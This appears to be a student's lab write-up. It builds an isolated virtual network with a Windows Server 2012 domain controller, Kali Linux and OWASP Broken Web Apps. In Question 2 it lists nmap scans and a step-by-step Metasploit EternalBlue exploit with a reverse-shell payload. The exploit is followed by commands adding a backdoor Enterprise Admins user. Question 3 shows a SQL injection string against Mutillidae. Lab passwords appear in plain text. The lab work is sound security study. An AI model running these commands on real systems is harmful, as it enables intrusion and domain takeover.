**Table of Contents**

**Virtual Lab Environment Setup Document**

**3. Question Instructions/Guidelines**

* Install GNS3 and VMware
* Set Up GNS3 VM
* Set Up Windows Server 2012
* Set Up OWASP Broken Web App
* Set Up Kali Linux

**3.1. Question 1**

* Install Windows Server 2012 Standard Edition:
* Configure Networking in GNS3
* Testing and Verification

**3.2. Question 2**

* Kali Linux Tasks

**3.3. Question 3**

* OWASP Broken Web Apps Tasks

**3. Question Instructions/Guidelines**

**1. Install GNS3 and VMware**

1. **I Downloaded and Install GNS3**:
   * Navigated to GNS3 website and downloaded the latest version.
   * Then I followed the installation instructions to set up GNS3 on the machine.

**2. Setting Up the Windows Server 2012**

1. **Downloaded The Windows Server 2012 ISO**:
2. **Then I Created a New VM in VMbox**:
   * I opened VM VirtualBox and created a new virtual machine.
   * Then selected the Windows Server 2012 ISO as the installation media.
   * And followed with the installation steps to set up Windows Server 2012.

**Kali Linux**

1. **Created a New VM in VirtualBox**:
   * I then named the VM (Kali Linux) then selected the Linux as the type, and Debian (64-bit) as the version.
2. **Set Up Kali Linux**:
   * I followed the installation prompts to install Kali Linux.

**OWASP Broken Web App**

1. **I Downloaded the OWASP Broken Web App**:
2. **Create a New VM in VirtualBox**:
   * I named the VM (OWASP) and selected Linux as the type, and Other Linux (64-bit) as the version.

**4. Configure Networking**

1. **Add VMs to VirtualBox Network**:
   * Ensure all VMs are connected to the same internal network in VirtualBox.
2. **Verify Connectivity**:

Use ping and other network tools to verify that all VMs can communicate

**5. Testing and Verification**

1. **Start All VMs**:
   * Power on all the VMs in VirtualBox.
   * Ensure they are running correctly and can communicate with each other.

**3.1. Question 1**

* 1. **After The Set Up Process in The Windows Server 2012**:
  + I was then prompted to enter the following details:
    - **Computer Name**: MCDC
    - **Password**: P@ssword123.
* **Then I Configured the Network Settings as Follows**:
  + Control Panel > Network and Sharing Center > Change adapter settings.
  + On the network adapter I selected Properties.
  + Navigated to the Internet Protocol Version 4 (TCP/IPv4) and clicked on Properties And entered the IP address.
    - **IP Address**: 172.16.12.1
    - **Subnet Mask**: 255.255.255.0
    - **Default Gateway**: 172.16.12.20

**1.2 I Had to Promote to Domain Controller This Was The Process**:

* + Server Manager added the Active Directory Domain Services role, and then promoted the server to a domain controller in the exam.co.za forest.

1. **Then I Verified Domain Controller**:
   * By Logging in to the Windows Server 2012 VM and verifying the domain setup.

**3.2. Question 2**

* 1. **Assign IP Address**:
  + I opened the terminal and used the following commands:
  + sudo ip addr add 172.16.12.5/24 dev eth0
  + sudo ip route add default via 172.16.12.20

**6. Kali Linux Tasks**

1. **To Perform the Ping Sweep of the Network**:
   * I Used the following command:
   * sudo nmap -sn 172.16.12.0/24
2. **To Perform the Fast Scan on MCDC**:
   * Use the following command:
   * sudo nmap -F 172.16.12.1
3. **Metasploit Tasks were done by using these commands which were performed exactly as demonstrated.**:
   * Start Metasploit:
     + sudo MSF console
   * Then I Ran the EternalBlue exploit and used this command to exploit the window server 2012 so that I could gain access to the server machine, this commands are in order:
     + use exploit/windows/smb/ms17\_010\_eternalblue
     + set RHOST 172.16.12.1
     + set LHOST 172.16.12.5
     + set LPORT 4004
     + set PAYLOAD windows/x64/meterpreter/reverse\_tcp
     + exploit
     + Display system information:
     + sysinfo
     + Load incognito mode:
     + load incognito
     + Add a new domain user:
     + execute -f cmd.exe -i -H -c -m -t
     + net user tester P@ssword1 /add /domain
     + Add the user to Enterprise Admins group:
     + net group "Enterprise Admins" tester /add /domain

**3.3. Question 3**

* 1. **I Assigned the IP Address**:
  + sudo ip addr add 172.16.12.10/24 dev eth0
  + sudo ip route add default via 172.16.12.20

**OWASP Broken Web Apps Tasks**

1. **I Performed SQL Injection on Mutillidae**:
   * I Navigated to the Mutillidae login page and use the following syntax:

**SQL**

' OR '1'='1

AI-generated code. Review and use carefully.

* + Take a screenshot of the syntax and save it on the Desktop:
  + scrot ~/Desktop/sql\_injection\_syntax.png

**8. Resources**

* GNS3 Documentation
* VMware Workstation Player Documentation
* OWASP Broken Web Applications Project
* VirtualBox Documentation
* Kali Linux Documentation